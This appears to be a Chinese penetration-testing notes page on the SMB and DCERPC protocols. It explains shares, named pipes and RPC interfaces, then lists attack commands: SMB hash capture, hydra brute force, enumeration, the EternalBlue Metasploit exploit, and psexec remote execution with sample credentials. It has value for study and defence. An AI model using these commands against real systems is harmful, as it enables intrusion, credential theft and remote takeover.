SMB协议

SMB协议是一种通信协议,用于提供文件共享,文件打印,以及带身份验证的进程间通信机制。SMB协议的主要涉及两部分功能:

  • 一部分专门涉及对文件系统的访问,以便在网络中共享文件,如访问\IP\share、文件打印。
  • 另一部分专门研究进程间通信(IPC),以请求网络中其他机器上的服务,如远程启动服务、启动定时任务等。它是通过共享命名管道(named pipe)来实现进程通信的。

SMB 端口

  • SMB : 网络文件共享系统,是一种应用层网络传输协议,主要功能是使网络上的机器可以共享计算机文件、打印机、串行端口和通讯等资源,也提供经过认证的进程间通信技能
  • 使用 C/S 架构,工作端口: - \\共享计算机地址\资源路径 : 使用 TCP 协议,445 端口 - \\共享计算机名\资源路径 : 使用 NetBIOS 协议, 139 端口
  • SMB 工作流程: 版本协商—> 会话请求凭据 —> 文件路径凭据 —> 对共享资源进行操作

使用 TCP 协议

SMB %26 DCERPC - 图1

我们可以看到 189 192 193 是在建立 TCP 连接, 第 194 197 198 是一个版本协商的过程,第 199 200 201 202 是在处理远程登陆凭据, 第一次连接错误,第二次正确, 203 205 是在处理远程文件路径的凭据

Windows Administrative Shares

为了远程管理计算机,SMB自动创建并开启了如下隐藏共享:

  • C$: C Drive on the remote machine.
  • Admin$: Windows installation directory.
  • IPC$: The inter-process communication or IPC share.
  • SYSVOL and NETLOGON: domain controller shares.
  • PRINT$ and FAX$: printer and fax shares.

net sharenet view \\pc-name /all可以查看开启的隐藏共享。

IPC$

IPC$并不对应文件夹,而是暴露了一组命名管道,作为与远程机器RPC通信的机制。

下面先介绍DCERPC,再介绍常见的命名管道。

DCERPC

远程过程调用(Remote Procedure Call, RPC)是一种进程间通信(interprocess communication, IPC)机制,它提供在不同进程中进行数据交换和调用的功能。

微软的DCEPRC即是对远程过程调用的一种实现和扩展,DCERPC有多种不同的承载方式,如TCP、UDP、HTTP、SMB命名管道等。客户端通过不同的承载协议连接到指定的服务端,由UUID绑定(Bind)到需要使用的终端接口(endpoint/interface)上,再传递所需参数来调用接口上指定的方法(operation),服务端随后将执行结果封装到协议数据包中返回。

客户端并不知道远程服务所在端口,因此需要先调用RPC Endpoint Mapper(EPM)服务来查询,EPM使用的135端口,对应UUID为E1AF8308-5D1F-11C9-91A4-08002B14A0FA,EPM接口中opnum为3的方法(ept_map)即提供了对某个RPC服务所在位置的查询功能。以dcsync用到Directory Replication Service (DRS) Remote Protocol为例,抓包看一下RPC调用过程。

  1. SMB认证通过,连接到服务端 IPC$

SMB %26 DCERPC - 图2

  1. 绑定到EPM服务RPC接口

SMB %26 DCERPC - 图3

  1. 查询DRS服务端口

SMB %26 DCERPC - 图4

SMB %26 DCERPC - 图5

  1. 获得DRS服务端口信息

SMB %26 DCERPC - 图6

  1. 绑定到DRS服务RPC接口

SMB %26 DCERPC - 图7

  1. drsuapi接口调用

SMB %26 DCERPC - 图8

Notable RPC Interfaces

  1. IFID: 12345778-1234-abcd-ef00-0123456789ab
  2. Named Pipe: \pipe\lsarpc
  3. Description: LSA interface, used to enumerate users.
  4. IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
  5. Named Pipe: \pipe\lsarpc
  6. Description: LSA Directory Services (DS) interface, used to enumerate domains and trust relationships.
  7. IFID: 12345778-1234-abcd-ef00-0123456789ac
  8. Named Pipe: \pipe\samr
  9. Description: LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy.
  10. IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
  11. Named Pipe: \pipe\atsvc
  12. Description: Task scheduler, used to remotely execute commands.
  13. IFID: 338cd001-2244-31f1-aaaa-900038001003
  14. Named Pipe: \pipe\winreg
  15. Description: Remote registry service, used to access and modify the system registry.
  16. IFID: 367abb81-9844-35f1-ad32-98f038001003
  17. Named Pipe: \pipe\svcctl
  18. Description: Service control manager and server services, used to remotely start and stop services and execute commands.
  19. IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
  20. Named Pipe: \pipe\srvsvc
  21. Description: Service control manager and server services, used to remotely start and stop services and execute commands.
  22. IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
  23. Named Pipe: \pipe\epmapper
  24. Description: DCOM interface, used for brute-force password grinding and information gathering via WM.

应用

Samba

:::info 默认配置位置

cat /etc/samba/smb.conf | grep -v "#\|\;"

:::

危险配置:

  1. # 危险设置
  2. browseable = yes # 允许在当前共享中列出可用共享吗
  3. read only = no # 禁止创建和修改文件
  4. writable = yes # 允许用户创建和修改文件
  5. guest ok = yes # 允许在不使用密码的情况下连接到服务
  6. enable privileges = yes # 尊重分配给特定 SID 的特权
  7. create mask = 0777 # 必须为新创建的文件分配什么权限
  8. directory mask = 0777 # 必须为新创建的目录分配什么权限
  9. logon script = script.sh # 用户登录时需要执行什么脚本
  10. magic script = script.sh # 当脚本关闭时应该执行哪个脚本
  11. magic output = script.out # 魔术脚本的输出需要存储在哪里

SMB利用

SMB

samba suite

Linux上samba服务套件,除了有samba服务,还有各种基于SMB协议的工具,适合在Linux上访问Windows机器SMB服务。

smbclient(1)

The smbclient program implements a simple ftp-like client. This is useful for accessing SMB shares on other compatible servers (such as Windows NT), and can also be used to allow a UNIX box to print to a printer attached to any SMB server (such as a PC running Windows NT).

rpcclient(1)

rpcclient is a utility that can be used to execute RPC commands on remote CIFS servers.

凭据获取

捕获Hash

  1. use auxiliary/server/capture/smb
  2. msf auxiliary(smb) > set srvhost 192.168.1.109
  3. msf auxiliary(smb) > set johnpwfile /root/Desktop/
  4. msf auxiliary(smb) > exploit

爆破

  1. hydra -L user.txt -P pass.txt 192.168.1.101 smb

SMB Enumeration

hostname

往UDP 137端口发送NetBIOS请求完成

  1. nmblookup -A 192.168.1.17
  2. nbtscan 192.168.1.17
  3. nmap --script nbstat.nse 192.168.1.17
  4. nbtstat -A 192.168.1.17 (Windows自带)
  5. ping -a 192.168.1.17
  6. nmap --script smb-os-discovery 192.168.1.17

SMB %26 DCERPC - 图9


Share and Null Session

  1. nmap --script smb-enum-shares -p139,445 192.168.1.17
  2. net view \\192.168.1.17 /All (windows自带)
  3. # MSF
  4. use auxiliary/scanner/smb/smb_enumshares
  5. use post/windows/gather/enum_shares
  6. # smbmap
  7. smbmap -H 192.168.1.40
  8. smbmap -H 192.168.1.17 -u raj -p 123
  9. # crackmapexec
  10. crackmapexec smb 192.168.1.17 -u 'raj' -p '123' --shares
  11. # rpcclient (smbshell)
  12. rpcclient -U dell 192.168.240.148
  13. netshareenum
  14. netshareenumall
  15. # smbclient
  16. smbclient is samba client with an ftp like interface. It is a useful tool to test connectivity to a Windows share. It can be used to transfer files, or to look at share names.
  17. smbclient -L 192.168.1.40
  18. smbclient //192.168.1.40/guest
  19. get file.txt
  20. smbclient -L 192.168.1.17 -U raj%123
  21. smbclient //192.168.1.17/share -U raj%123
  22. get raj.txt
  23. # impacket smbclient.py (smbshell)
  24. smbclient.py dell:Test1234@192.168.240.148
  25. shares

SMB %26 DCERPC - 图10

Vulnerability Scanning

  1. nmap --script smb-vuln* 192.168.1.16

Users

  1. use auxiliary/scanner/smb/smb_lookupsid
  2. # impacket
  3. python3 lookupsid.py DESKTOP-ATNONJ9/raj:123@192.168.1.17

除了上面的工具,enum4linux把多种需求整合到一起,基于SMB协议能获取各种机器信息。但只能用于信息遍历,不能交互。

远程执行

永恒之蓝

  1. use auxiliary/scanner/smb/smb_ms17_010
  2. msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
  3. msf auxiliary(smb_ms17_010) > set rport 445
  4. msf auxiliary(smb_ms17_010) > exploit
  5. use exploit/windows/smb/ms17_010_eternalblue
  6. msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
  7. msf exploit(ms17_010_eternalblue) > exploit

psexec

  1. use exploit/windows/smb/psexec
  2. msf exploit windows/smb/psexec) > set rhost 192.168.1.101
  3. msf exploit(windows/smb/psexec) > set smbuser raj
  4. msf exploit(windows/smb/psexec) > set smbpass 123
  5. msf exploit(windows/smb/psexec) > exploit
  1. net use \\win10-pc4\ipc$ Test1234 /user:dell
  2. psexec.exe \\win10-pc4 cmd.exe
  3. PsExec64.exe -accepteula \\win10-pc4 -u dell -p Test1234 cmd.exe (以medium权限启动)
  4. PsExec64.exe -accepteula \\win10-pc4 -u dell -p Test1234 -s cmd.exe (以system权限启动)

PsExec64.exe能在远程机器上执行命令,其原理就是先连接Admin$拷贝PSEXESVC.exe;再调用[MS-SCMR]服务创建远程服务并启动,即启动PSEXESVC.exe;客户端连接执行命令,服务端启动相应的程序并执行回显数据。

SMB %26 DCERPC - 图11

文件共享

server

  1. sudo apt install impacket-scripts
  2. impacket-smbserver share /root/Downloads/test -smb2support
  3. pip install impacket
  4. python3 smbserver.py share /root/test -smb2support

client

  1. smbclient -L 192.168.1.21 -U raj%123
  2. smbclient //192.168.1.21/share -U raj%123
  3. windows上直接explorer访问目录即可

原文

SMB & DCERPC